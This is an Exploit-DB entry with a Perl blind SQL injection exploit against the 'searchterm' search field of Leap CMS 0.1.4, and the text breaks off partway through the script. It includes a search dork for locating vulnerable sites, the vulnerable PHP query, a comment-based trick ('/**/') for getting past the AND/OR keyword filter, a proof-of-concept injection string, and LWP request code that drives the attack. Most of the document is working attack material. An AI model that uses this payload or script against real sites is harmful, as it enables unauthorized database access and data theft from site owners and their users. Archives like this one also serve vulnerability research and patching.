Exploit-DB #8576
Description: Leap CMS 0.1.4 - 'searchterm' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-04-30
Author: YEnH4ckEr

Exploit:
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  Â¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       	    (Search Post Form) BLIND SQL INJECTION (BSQLi) EXPLOIT	              |
#|--------------------------------------------------------------------------------------------|
#|                         	    |   Leap CMS 0.1.4    |		 	              |
#|  CMS INFORMATION:		     ---------------------				      |
#|										              |
#|-->WEB: http://leap.gowondesigns.com/				   		              |
#|-->DOWNLOAD: http://leap.gowondesigns.com/download.php?leap014.zip		              |
#|-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap	      |
#|-->CATEGORY: CMS / Lite								      |
#|-->DESCRIPTION: Leap is a single file, template independent, open-source,                   |
#| 		standards-compliant,extensible content management system for the web...	      |
#|-->RELEASED: 2009-03-13								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3                                				      |
#|-->DORK: "Powered by Leap"								      |
#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT					      |
#|-->AFFECT VERSION: LAST = 0.1.4 (Maybe <= ?)		            			      |
#|-->Discovered Bug date: 2009-04-25							      |
#|-->Reported Bug date: 2009-04-25							      |
#|-->Fixed bug date: Not fixed								      |
#|-->Info patch (????): Not fixed							      |   
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/leap.php
#
#
#
#function contentSearch() {
#
#	...
#
#
#if($searchterm=='') return FALSE;
#
#        ...
#	
#	if (eregi(" AND | NOT | OR ",$search,$matches)) $search=str_replace($matches,'',$search);   <-------BYPASSED (/**/)
#		
#		$keywords = explode(' ', $search); //print_r($keywords);    <---------BYPASSED (/**/)
#		
#		...
#		
#		$query = "SELECT * FROM ".db('prefix')."content WHERE published='1' AND";     <----------START QUERY
#
#		if ($keyCount > 1) {
#
#			...
#		
#		}
#		else {
#
#			$query .=" (INSTR(`title`, '$keywords[0]') > '0' || INSTR(`body`, '$keywords[0]') > '0' || ...)";}  <--------INJECTION HERE
#			$pquery=$query.';'; $query.=" ORDER BY mod_date DESC LIMIT $pg, $max;"; //echo $query;
#		
#			...
#
#		}
#
#}
#
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#SEARCH --> a')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#
#
#Return: Search for 'a'
#
#######################################################################
#######################################################################
##*******************************************************************##
## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##       GREETZ TO: JosS and all SPANISH Hack3Rs community!          ##
##*******************************************************************##
#######################################################################
#######################################################################
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Leap CMS 0.1.4 (BLIND SQL Injection) Exploit");
		system ("color 04");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	my $request = HTTP::Request -> new(POST => $_[0]);
	$request->content_type('application/x-www-form-urlencoded');
	$request->content($_[1]); 
	my $outcode= $userag->request($request)->as_string;
	return $outcode;
}
sub helper {
	print "\n\t[<-->] Leap CMS 0.1.4 - (BLIND SQL